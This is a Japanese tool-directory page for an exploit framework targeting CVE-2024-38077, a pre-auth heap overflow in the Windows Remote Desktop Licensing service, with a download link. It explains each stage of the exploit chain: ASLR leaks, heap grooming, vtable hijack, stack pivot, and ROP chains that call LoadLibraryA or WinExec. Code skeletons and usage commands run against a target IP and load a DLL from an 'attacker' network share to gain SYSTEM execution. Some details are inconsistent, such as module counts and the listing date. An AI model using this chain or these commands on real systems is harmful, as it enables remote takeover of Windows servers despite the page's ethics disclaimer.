Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-38077-MadLicense-exploit — CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
エクスプロイトフレームワーク脆弱性分析エクスプロイトリバースエンジニアリングシェルコードペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。

リポジトリを見る
148ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-38077 MadLicense - 完全なエクスプロイトフレームワーク

📚 プレゼンテーション用技術ドキュメント

このドキュメントでは、フレームワークの各コンポーネント、存在理由、および最新Windowsでのヒープバッファオーバーフローエクスプロイトの仕組みを説明します。


🎯 CVE-2024-38077 とは?

脆弱性

Windows Remote Desktop Licensing Service(lserver.exe)は、CDataCoding::DecodeData 関数にヒープバッファオーバーフローが存在します。

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  脆弱性: サイズ計算の誤り                                   │
├─────────────────────────────────────────────────────────────┤
│  1. クライアントがサイズNのBase64データを送信              │
│  2. サーバーが計算: buffer_size = (N / 4) * 3              │
│  3. サーバーが 'buffer_size' バイトのバッファを割り当て     │
│  4. 実際のBase64デコード: ceil(N * 3/4) バイト書き込み      │
│  5. Nが4の倍数でない場合: オーバーフロー!                  │
└─────────────────────────────────────────────────────────────┘

具体的な例:

  • 入力: 4001 バイト
  • サーバーの計算: (4001 / 4) * 3 = 1000 * 3 = 3000 バイト割り当て
  • 実際のデコード: ceil(4001 * 0.75) = 3001 バイト書き込み
  • オーバーフロー: 1 バイト (ただし、さらに制御可能)

なぜクリティカルか?

  1. Pre-Auth: 資格情報不要
  2. リモート: ネットワーク経由、ポート135(RPC)
  3. SYSTEM: サービスは NT AUTHORITY\SYSTEM として動作
  4. 広範囲: Windows Server 2000-2025 が影響

🏗️ フレームワークのアーキテクチャ

モジュール概要

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      エクスプロイトチェーン                       │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP、ASLR、CFG 認識)                       │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (オーケストレーター)                    │
    └───────────────────────────────────────────────────────────┘

📦 モジュール 1: primitives.py - 基礎

概要

メモリ操作のための低レベルユーティリティ。

存在理由

エクスプロイトには以下が必要:

  • 型変換(int ↔ bytes)
  • クラッシュ解析用パターン生成
  • データの適切なアラインメント

主要関数

root@kitploit:~
# Pack/Unpack - 整数とバイトの相互変換
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# 巡回パターン - クラッシュオフセットの特定用
cyclic(100)          # De Bruijn シーケンス生成
cyclic_find(pattern, value)  # 値のオフセット検出

# アラインメント - メモリは整列が必要
align(0x1003, 0x10)  # → 0x1010(16バイト境界に整列)

なぜ重要か?

現実の問題: クラッシュが発生し、RIP に 0x61616171 が入っている。

  • cyclic なし: 「バッファのどこか…」
  • cyclic あり: cyclic_find(pattern, 0x61616171) → 正確なオフセット!

📦 モジュール 2: leak.py - ASLR バイパス

ASLR とは?

Address Space Layout Randomization: ブート/実行のたびにアドレスが変わる。

root@kitploit:~
ブート1:  ntdll.dll @ 0x7FFA12340000
ブート2:  ntdll.dll @ 0x7FFB98760000
ブート3:  ntdll.dll @ 0x7FFC55550000

なぜリークが必要か?

メモリの位置がわからないと:

  • ペイロードをどこに置くか不明
  • ROP ガジェットのアドレスが不明
  • 試行 = ランダムクラッシュ

モジュール構造

root@kitploit:~
class LeakInfo:
    """リークされたアドレスを格納するコンテナ"""
    heap_base: int         # ヒープベース
    ntdll_base: int        # ntdll.dll ベース
    kernel32_base: int     # kernel32.dll ベース
    # ...

class LeakProvider:
    """リークソースのオーケストレーター"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # 各ソースを成功するまで試行

実装されたリークソース

ソース動作方法使用時
ManualLeakSourceユーザーがアドレスを指定ラボ/デバッグ(ターゲットにアクセス可能)
ResponseLeakSourceRPC応答から抽出サービスがポインタを漏洩する場合
TimingLeakSourceタイミングサイドチャネル理論上、非常に困難

なぜ手動入力?

デモ/ラボでは、次のことが可能:

  1. ターゲットにデバッガをアタッチ
  2. モジュールのベースを確認
  3. --ntdll-base 0x7ffa... で指定

これにより、実際のリークをシミュレートし、チェーンの残りの部分をテストできます。


📦 モジュール 3: target_model.py - ターゲットのマッピング

概要

脆弱なデータ構造と隣接するデータ構造のモデリング。

存在理由

オーバーフロー ≠ エクスプロイト。以下を知る必要がある:

  • 何を上書きしているのか?
  • オブジェクトのサイズは?
  • どのフィールドを破壊すると有用か?

コンポーネント

root@kitploit:~
class VulnerableBuffer:
    """オーバーフローが発生するバッファ"""
    allocation_size: int   # 割り当てられたサイズ
    write_size: int        # 書き込まれるサイズ
    overflow_amount: int   # 差分 = オーバーフロー量
    
    def calculate_overflow(input_size):
        # 計算バグのシミュレーション
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """破壊されるオブジェクト(ヒープ上で隣接)"""
    fields: List[StructField]
    has_vtable: bool       # 仮想テーブルを持つか?
    has_function_ptr: bool # 関数ポインタを持つか?

ターゲット構造の例

root@kitploit:~
# リバースエンジニアリングに基づく仮想的なオブジェクト
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# マッピングされたフィールド
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

is_target=True の理由

エクスプロイトに有用なフィールドを示す:

  • vtable: 上書きするとメソッド呼び出しを制御可能
  • callback: 上書きするとコールバック呼び出しを制御可能

📦 モジュール 4: write_primitive.py - 制御された書き込み

問題

オーバーフローは連続データを書き込む。しかし、以下が必要:

  • 特定の値(ROPアドレス)を書き込む
  • 特定のオフセット(vtableポインタがある場所)に書き込む

解決策

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        正確な値でオーバーフローバッファを構築
        
        レイアウト:
        [オフセットまでのパディング] [制御された値] [さらにデータ]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # 正確なオフセットに正確な値を配置
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

上書きの種類

root@kitploit:~
# vtable の上書き
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# コールバックの上書き
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

なぜゴミを書き込むだけでは不十分か?

書き込み結果
AAAA...制御不能なクラッシュ
正確なオフセットに正確なアドレス制御された実行

📦 モジュール 5: heap_controller.py - ヒープグルーミング

最新ヒープの課題

Windows は LFH(Low Fragmentation Heap) と Segment Heap を使用:

  • 割り当てはランダム化
  • レイアウトは予測不能
  • ヒープガードが破損を検出

解決策: グルーミング

グルーミング = ヒープを決定的なレイアウトに整形。

root@kitploit:~
グルーミング前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
ランダムな割り当て、予測不能な穴

グルーミング後:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
制御されたレイアウト、望みの場所に「穴」

グルーミングのフェーズ

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # フェーズ1: 既存の穴を埋める
        self.phase_fill(50)
        
        # フェーズ2: ターゲットバケットのLFHを有効化
        # (Windowsは同じサイズの割り当て約17回後にLFHを有効化)
        self.phase_activate_lfh()
        
        # フェーズ3: スプレー - 密なパターンを作成
        sprayed = self.phase_spray(200)
        
        # フェーズ4: 戦略的な穴を作成
        # N回の割り当てごとに解放
        self.phase_create_holes(sprayed, interval=4)
        
        # フェーズ5: 安定化
        self.phase_stabilize()

なぜ機能するのか?

  1. ヒープを自分のオブジェクトで埋める
  2. 定期的な間隔で「穴」を作成
  3. サーバーが脆弱バッファを割り当てる時…
  4. …高い確率で穴に配置される
  5. …破壊できる自分のオブジェクトに隣接

📦 モジュール 6: trigger.py - 破壊後のトリガー

問題

破壊が発生した。次は?

root@kitploit:~
現在の状態:
- メモリ破損 ✓
- 悪意のある値書き込み ✓
- しかし、まだその値は使用されていない!

解決策: 使用を強制

プログラムに破損データを読み取らせ、使用させる必要がある。

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# 実装された戦略:

class SecondRequestTrigger:
    """破損したオブジェクトを使用する2回目のRPC呼び出しを行う"""
    
class DestructorTrigger:
    """切断 - 破損したポインタを使用するクリーンアップを強制"""
    
class TimerTrigger:
    """内部タイマーが破損状態を処理するのを待つ"""

典型的なフロー

root@kitploit:~
1. 最初のRPC呼び出し → 破損発生
2. 切断(trigger) → サーバーがデストラクタを呼び出す
3. デストラクタが破損したvtableを読み取る → 私たちのアドレスを呼び出す
4. 制御された実行!

📦 モジュール 7: execution.py - フロー制御

ターゲット: RIP/EIP ハイジャック

RIP(x64)または EIP(x86)= 命令ポインタ

命令ポインタを制御すれば、実行を制御できる。

ハイジャックの方法

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # ヒープオーバーフローで最も一般的
    FUNCTION_PTR = 1 # コールバックポインタ
    RETURN_ADDR = 2  # スタックオーバーフロー(今回は該当せず)

Vtable ハイジャックの解説

root@kitploit:~
通常のオブジェクト:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← 正当
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

破損後:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← 私たちの!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

method1 が呼び出されると → 私たちのガジェットが実行!

スタックピボット

問題: vtable ハイジャックでは1回の呼び出ししか得られない。さらに必要。

解決策: スタックピボット

root@kitploit:~
# RSP を ROP チェーンがある場所に切り替えるガジェット
xchg rax, rsp; ret  # RAX = 私たちのアドレス → RSP = 私たちのアドレス

# これで「スタック」は制御された領域に!
# 各 RET が ROP チェーンの次のガジェットにジャンプ

📦 モジュール 8: code_reuse.py - ROP チェーン

なぜ ROP か?

DEP(Data Execution Prevention): ヒープとスタックは実行不可。

root@kitploit:~
ヒープ上のシェルコード → クラッシュ(アクセス違反 - 実行)

解決策: 既存コードの再利用

ROP = Return-Oriented Programming

RET で終わる小さなコード断片「ガジェット」を連鎖させる。

root@kitploit:~
ガジェット1: pop rcx; ret    ← RCX に値を設定
ガジェット2: pop rdx; ret    ← RDX に値を設定
ガジェット3: call LoadLibraryA ← 関数呼び出し!

ガジェットの連鎖方法

root@kitploit:~
スタック/ROPチェーン(私たちの制御領域):
┌────────────────────┐
│ pop_rcx のアドレス  │ ← RSP がここを指す
├────────────────────┤
│ RCX に設定する値    │ ← これが RCX に「pop」される
├────────────────────┤
│ pop_rdx のアドレス  │ ← RET がここへジャンプ
├────────────────────┤
│ RDX に設定する値    │
├────────────────────┤
│ LoadLibraryA のアド│ ← 最終的に呼び出し!
└────────────────────┘

実装されたチェーン

root@kitploit:~
# DLL のロード(DLLインジェクション)
build_load_library(dll_path_addr) → ROP chain

# 実行可能メモリの割り当て
build_virtual_alloc(size) → ROP chain + RAX = RWX アドレス

# コマンド実行
build_winexec(cmd_addr) → ROP chain

📦 モジュール 9: payload.py - 意味的ペイロード

違い: データ vs 意図

種類例結果
データAAAAAA...クラッシュ
意図ROP + DLL パスDLL ロード

ペイロードの種類

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # エクスプロイトが機能するか確認
    DLL_INJECT = 1    # 私たちの DLL をロード
    COMMAND_EXEC = 2  # コマンド実行
    SHELLCODE = 3     # ROP 経由でシェルコード実行

DLLインジェクション用ペイロードの構築

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    最終構造:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← 最初に実行
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← 文字列(パス)
    └──────────────────────────────┘
    
    ROP チェーンが文字列のアドレスを LoadLibraryA に渡す
    """

📦 モジュール 10: mitigations.py - 緩和策認識

最新Windowsの緩和策

緩和策機能私たちのバイパス
DEPヒープ/スタックを実行不可にROP(コード再利用)
ASLRアドレスランダム化情報漏洩
CFG呼び出し先を検証有効な呼び出し先を使用し、その後ピボット
スタッククッキースタックオーバーフロー検出スタックオーバーフローは使用しない
ヒープ強化ガードページなど注意深いグルーミング

自動適応

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # 必須
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # 必須
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # スプレーを増やす

🔄 完全なエクスプロイトフロー

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    エクスプロイトフロー                          │
└─────────────────────────────────────────────────────────────────┘

   ステージ1: LEAK(ASLRバイパス)
   ├─ メモリアドレスを取得
   ├─ 入力: 手動または自動リーク
   └─ 出力: モジュールベースを含む LeakInfo

             ↓

   ステージ2: ANALYZE(ターゲットマッピング)
   ├─ オーバーフロー量を計算
   ├─ 隣接オブジェクトを特定
   └─ 破壊オフセットを決定

             ↓

   ステージ3: GROOM(ヒープ整形)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ 決定的なレイアウトを作成
   └─ 脆弱な割り当て用の「着陸ゾーン」を準備

             ↓

   ステージ4: PAYLOAD(構築)
   ├─ ROP チェーンを構築
   ├─ 必要な文字列/データを含める
   └─ オーバーフローデータと結合

             ↓

   ステージ5: CORRUPT(オーバーフローのトリガー)
   ├─ 悪意のあるRPC呼び出しを送信
   ├─ オーバーフローを発生
   └─ ターゲット(vtable/callback)を上書き

             ↓

   ステージ6: TRIGGER(使用を強制)
   ├─ 切断または2回目の呼び出し
   ├─ 破損したポインタの使用を強制
   └─ 実行ハイジャック

             ↓

   ステージ7: EXECUTE(RCE)
   ├─ ROP チェーン実行
   ├─ LoadLibraryA が DLL をロード
   └─ 任意コード実行!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  結果: SYSTEM 権限でのリバースシェル、バックドアなど       │
   └─────────────────────────────────────────────────────────────┘

🚀 実践的使用法

インストール

root@kitploit:~
pip install impacket

コマンド

root@kitploit:~
# サービスの稼働確認のみ
python -m madlicense.poc -t 10.0.0.5 --check

# ドライラン(ペイロード未送信、全てシミュレート)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# 完全なDLLインジェクション
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# 電卓の実行(古典的PoC)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ 倫理的考慮事項

このフレームワークは以下を目的としています:

  • ✅ 許可されたセキュリティ研究
  • ✅ 教育デモ
  • ✅ 管理された環境でのテスト
  • ✅ 緩和策の開発

使用禁止:

  • ❌ 許可されていないアクセス
  • ❌ 本番システムへの攻撃
  • ❌ 違法行為

📚 参考文献

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 トーク用まとめ

キーフレーズ:

「最新Windowsでのヒープバッファオーバーフローエクスプロイトは、単に「書きすぎ」ではありません。
それは、リーク→グルーム→破損→トリガー→実行という正確なチェーンです。」

9つのモジュール:

  1. primitives - メモリツール
  2. leak - ASLRバイパス
  3. target_model - ターゲットの理解
  4. write_primitive - 制御された書き込み
  5. heap_controller - ヒープグルーミング
  6. trigger - 破損の使用強制
  7. execution - RIPハイジャック
  8. code_reuse - ROPチェーン
  9. mitigations - 防御認識

これらが1つでも欠けると、RCEは達成できません。

ツールをダウンロード